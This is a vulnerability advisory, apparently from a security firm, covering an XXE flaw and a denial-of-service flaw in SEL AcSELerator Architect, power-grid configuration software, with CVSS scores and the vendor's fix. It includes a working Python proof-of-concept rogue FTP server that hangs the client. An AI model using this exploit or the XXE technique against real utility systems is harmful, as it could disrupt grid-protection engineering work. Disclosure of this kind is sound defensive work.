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OVERVIEW
Two vulnerabilities were found in the Schweitzer Engineering Laboratories (SEL) AcSELerator Architect
software used in power grid protection systems. These findings include XML External Entity (XXE)
Injection and Denial of Service (CPU Exhaustion) vulnerability. There are no known public exploits that
target these vulnerabilities.

AFFECTED PRODUCTS
AcSELerator Architect SEL-5032 Software;
The following versions are affected:


SEL AcSELerator Architect 2.2.24.0 (ICD package version: 2.38.0)

The vulnerabilities have been discovered and validated in AcSELerator Architect 2.2.24.0. Older versions
are probably affected too.

IMPACT
An unauthenticated user can craft a malicious project and/or template file that will enable her to read
arbitrary files within the context of an affected system allowing disclosure of valuable information via out
of band channels. It can also cause a denial of service scenario requiring an application restart, by
running a malicious FTP server.

BACKGROUND
SEL invents, designs, and builds digital products and systems that protect power grids around the world.
This technology prevents blackouts and enables customers to improve power system reliability and safety
at a reduced cost. Substation communications networks using the IEC 61850 MMS and GOOSE
protocols require a systemic methodology to configure message publications and subscriptions.
acSELerator Architect SEL-5032 Software is a Microsoft Windows application that streamlines the
configuration and documentation of IEC 61850 control and SCADA communications.

VULNERABILITY DETAILS
XML External Entity (XXE) Processing
The application suffers from an XML External Entity (XXE) vulnerability using the DTD parameter entities
technique which allows disclosure and retrieval of arbitrary data on the affected node via out-of-band
(OOB) attack.
The vulnerability is triggered when input passed to the XML parser is not sanitized while parsing the XML
project and/or template file (.selaprj). This attack can also be used to execute arbitrary code (in certain
circumstances, depending on the platform) or cause a denial of service (DoS) condition (billion laughs)
via a specially crafted XML file including multiple external entity references.

Applied Risk has calculated a CVSSv3 score of 8.2 for this vulnerability. The CVSS vector string is
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:L.
CPU Exhaustion Denial of Service (DoS)
The application suffers from a Denial of Service (DoS) vulnerability which results in an AppHangB1 event
requiring restart of the application. The vulnerability can be triggered when an attacker provides the victim
with a rogue malicious FTP server and listens for connections from the AcSELerator Architect FTP client
feature.
Once the victim gets connected to the evil FTP via the TCP protocol, a 100% CPU exhaustion occurs
rendering the software to hang (not responding), denying legitimate workflow to the victim until the
application is forcibly restarted.
Proof of Concept (PoC):

from pwn import *
__author__ = ‘lqwrm’
cool_data = ‘\x4A’ * 54321
def main():
p = listen(21)
try:
log.warn(‘Payload ready for deployment…(Ctrl-C for exit)\n’)
while True:
p.wait_for_connection()
if p:
sys.stdout.write(‘▓≡’)
p.send(cool_data)
except KeyboardInterrupt:
p.success(‘OK!’)
p.close()
except EOFError:
print “Unexpected error brah:”, sys.exc_info()[0]
p.close()
if __name__ == ‘__main__’:
main()

Applied Risk has calculated a CVSSv3 score of 6.5 for this vulnerability. The CVSS vector string is
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H.

MITIGATION
Schweitzer Engineering Laboratories addressed the reported vulnerabilities by releasing a new updated
version: 2.2.29.0 for the affected software. The updates are available at the following link:
https://selinc.com/software/downloads/?filter=acselerator
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